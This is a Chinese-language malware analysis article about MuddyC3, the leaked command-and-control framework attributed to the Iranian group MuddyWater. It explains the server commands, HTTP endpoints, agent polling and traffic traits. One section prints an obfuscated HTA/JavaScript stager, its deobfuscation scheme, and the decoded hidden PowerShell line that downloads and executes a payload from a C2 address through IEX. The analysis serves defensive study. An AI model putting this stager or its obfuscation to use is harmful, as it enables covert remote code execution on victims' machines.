污水攻擊MuddyC3開源程式碼分析

  • 2019 年 10 月 6 日
  • 筆記

前言

MuddyWater是一個伊朗威脅組織,主要針對中東、歐洲和北美國家。該組織針對的目標主要是電信,政府(IT服務)和石油部門。眾多安全研究機構針對muddywater的樣本進行了深入的研究。2019年6月24日,名為0xffff0800的用戶在twitter上發表推文表示,其開源了污水攻擊的python版程式碼。本文就該程式碼,一窺muddywater的攻擊過程。

該用戶在github上開源的程式碼有兩個版本,本次我們分析的是1.0.1版本。

整體結構

MuddyC3的整體C2通訊結構圖如上所示:

整個通訊過程有三個要素,即攻擊端、C2網站和目的主機。其中C2網站指的是被攻擊者拿到控制許可權的web網站。C2網站可能不止一個。攻擊過程中,攻擊者將攻擊指令以powershell程式碼的形式注入C2網站,被感染的目的主機主動向C2網站發送http請求,得到攻擊命令,調用powershell介面執行命令。

APT攻擊分三個階段進行,分別是:(1)感染;(2)C2通訊;(3)資訊泄漏。本文中我們直接將惡意程式部署在目標主機上,因此感染階段略去不提。值得注意的是,真實場景中,污水攻擊感染過程通過傳播宏病毒展開。目標主機感染宏病毒後會進行修改註冊表等操作。

一、服務端

1.1服務端運行

運行muddyc3.py文件

需要輸入ip、埠和是否需要代理輸入完成後進入命令介面(見1.1.6help命令)

1.1.1 list命令

用來列舉agent資訊,列舉結果示意如下:

1.1.2 show命令

目前尚未開發。

1.1.3 use命令

use命令後需要agent id作為參數,命令格式為:

use id

命令結果是進入id下的命令介面:

在該介面發出命令,相應命令分析見2.2.2節。以/get命令為例:

1.1.4 payload命令

payload命令列舉出目前服務端程式中已有的powershell注入命令。

1.1.5 back命令

1.1.6 help命令

1.1.7 exit命令

exit命令結束客戶端程式。

1.2參數分析

通過分析core.cmd.py文件,得出AGENTS字典中每個元素的結構如下:

角標

參數

歸屬

*

id

key值

0

ExternalIP

data

1

id

data

2

status

data

3

os

data

4

InternalIP

data

5

Arch

data

6

ComputerName

data

7

UserName

data

AGENT是一個'id:data'形式的字典,其中data格式如下:

角標

參數

0

id

1

status

2

Internal IP

3

OS

4

Arch

5

Computer Name

6

User Name

在core.webserver.py文件中,url訪問功能分類如下:

編號

類別

表示方法

get/post

功能或結果

1

index

/

get

返回『hello』

2

payload

/get

get

返回『config/PAYLOAD()』

3

payloadc

/getc

get

返回『toB52(config/PAYLOAD())』

4

payloadjf

/hjf

get

返回C://ProgramData下a.zip和b.ps1

5

payloadjfs

/hjfs

get

返回C://ProgramData下sct.ini

6

sct

/sct

get

返回ps1文件

7

mshta

/hta

get

返回ps1文件

8

info

/info/~

post

查詢id,若不存在則在AGENTS中添加

9

download

/dl/~

post

從服務端指定路徑下載文件

10

upload

/up

暫不支援該功能

11

img

/img/~

post

得到相關img

12

command

/cm/~

get

得到『config.COMMAND[id]』中的命令

13

result

/re/~

post

得到指定id主機的data

14

modules

/md/~

post

添加模組

1.3webserver分析

運行後可以訪問之前輸入的C&C地址

訪問index路徑,即192.168.11.193:1234

訪問get路徑,得到payload

訪問/getc路徑得到payload的base64編碼,另有/hjf、/hjfs路徑與此相似

訪問download路徑

訪問/info,由於info使用post包,

調整AGENTS和post請求包body結構後,結果如下:

第二次添加

訪問info路徑的post請求組成:

二、客戶端

2.1客戶端運行

python腳本中運行powershell命令,會出現安全問題

以管理員身份運行powershell,

2.2客戶端流程

2.2.1訪問/info

客戶端開啟後,首先訪問/info進行註冊,註冊用id在本地是以隨機數形式確定,然後向服務端發送post包。客戶端首先向服務端詢問對應id是否存在,若存在則服務端返回『NONE』,客戶端重新選取隨機數進行註冊直至成功。註冊成功後,客戶端回饋:

2.2.2訪問/cm

帶id訪問/cm介面,訪問/cm/[id],取得服務端發送的控制命令,控制命令組成如下:

編號

表示

意義

1

/get

訪問/get介面

2

/getc

訪問/getc介面

3

/hjf

訪問/hjf介面

4

/hjfs

訪問/hjfs介面

5

/sct

訪問/sct介面

6

/hta

訪問/hta介面

7

dl

訪問/dl介面

8

/up

訪問/up介面

9

/img

訪問/img介面

10

/md

訪問/md介面

11

其他

其他powershell可以直接執行的命令

服務端順序發出了三個命令:

客戶端取命令:

由此可見客戶端取命令時按服務端下命令的順序,一次取一個,取完之後所有命令後,再訪問/cm/[id],得到的數據為空

2.2.3訪問/re

客戶端取出命令後執行,然後在/re/[id]介面返回執行結果。服務端的顯示:

客戶端的顯示:

三、powershell命令分析

污水攻擊的命令均以powershell方式執行,接下來我們跟隨服務端給出的順序來分析powershell命令。首先,服務端啟動時,給出的網址為:

mshta http://192.168.11.193:1234/hta

訪問hta:得到的js程式碼為:

var es = '%gk{dmFyI!~tPSJw,3dlcn~oZW-sI%1le!VjI!J5c!FzcyAtdyA-I%1jI%RWPW5ldy1vYmplY3Qg,mV0LndlYm~s[WVud@skVi5wc**4eT1,TmV0LldlYlJlcXVlc3Rd}jp$ZXRTeX~0ZW1XZWJQc**4eSgp}yRWLlBy,3h5Lk~yZWRl,nRpYW-zPVt}ZXQuQ3JlZ!Vud!lh,*~hY2hlXTo6R!VmYXVsd*~yZWRl,nRpYW-z}0lFW%gkVi5k,3du,!9hZ$~0cmluZygn[$R0c@ovLz*5Mi4-~jguMT*uMTkz}j*yMzQvZ2V0Jykp}yI7%nZhciB3MzJwcz0gR2V0T2JqZW~0{%d3[W5tZ210czon{S5$ZXQoJ1dp,jMyX1By,2~lc3~Td!Fyd$VwJyk7%nczMnBzLl~wYXduSW5zd!FuY2Vf{%k7%nczMnBzLl~o,3dX[W5k,3c9M@s{dmFyI$J0cm5@,2RlPUdld*9i[mVjd%gnd2lu,Wdtd$M6JykuR2V0{%dX[W4zMl9Qc**jZX~zJykuQ3JlYXRl{!~tL%dj}l-cJy-3MzJwcy-udW-s{Ts{';  eval(bas(es));

其中對es變數做了如下混淆:


string = replaceAll(']','=',string);        string = replaceAll('[','a',string);        string = replaceAll(',','b',string);        string = replaceAll('@','D',string);        string = replaceAll('-','x',string);        string = replaceAll('~','N',string);        string = replaceAll('*','E',string);        string = replaceAll('%','C',string);        string = replaceAll('$','H',string);        string = replaceAll('!','G',string);        string = replaceAll('{','K',string);        string = replaceAll('}','O',string);        var characters = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";        var result     = '';
解混淆後得到的js程式碼如下:
var cm="powershell -exec bypass -w 1 -c $V=new-object net.webclient;$V.proxy=[Net.WebRequest]::GetSystemWebProxy();$V.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX($V.downloadstring('http://192.168.11.193:1234/get'));";  var w32ps= GetObject('winmgmts:').Get('Win32_ProcessStartup');  w32ps.SpawnInstance_();  w32ps.ShowWindow=0;  var rtrnCode=GetObject('winmgmts:').Get('Win32_Process').Create(cm,'c:\',w32ps,null);

在powershell中執行後,向http://192.168.11.193:1234/get發get請求,得到已經存在於服務端的payload.ps1文件的內容,但是由於payload.ps1沒有開源,所以powershell的解析不能繼續向下進行。

四、流量分析

捕獲本地流量如下:

目的埠是在服務端輸入指定,源埠隨機。

(本次實驗中指定的目的埠為1234,源埠從9141開始,每個包累加)

五、污水攻擊特點總結

5.1心跳周期

被控端定期向主控端發出get請求,查看是否有新的命令。

http://192.168.11.193:1234/cm/[id]

5.2 http請求成對出現

一次取命令對應一次命令執行結果回傳。

http://192.168.11.193:1234/cm/[id]  http://192.168.11.193:1234/re/[id]

5.3雲控下發powershell腳本

傳統遠控採取命令約定方式,主控端向被控端發送命令程式碼,被控端在後門程式碼中匹配成功然後執行。

而污水攻擊不再使用命令程式碼,而是就地採用被控端本地現有工具powershell,將命令以高度混淆的powershell形式下發,這樣做保證了樣本即使被捕獲,惡意活動不會暴露、C2伺服器不會被溯源。

5.4可濫用web2.0網站作為資訊傳輸中介

任何主機可以不經註冊訪問網站,向網站發出http請求。

污水攻擊利用的web2.0網站的伺服器是攻擊者控制的,因此有被溯源的風險。

5.5協議:http

明文不加密。

相關鏈接

【1】開源程式碼地址:https://github.com/0xffff0800/MuddyC3v1.0.1- 【2】muddywater相關介紹:https://attack.mitre.org/groups/G0069/

*本文作者:BUPT/Yoni,轉載請註明來自FreeBuf.COM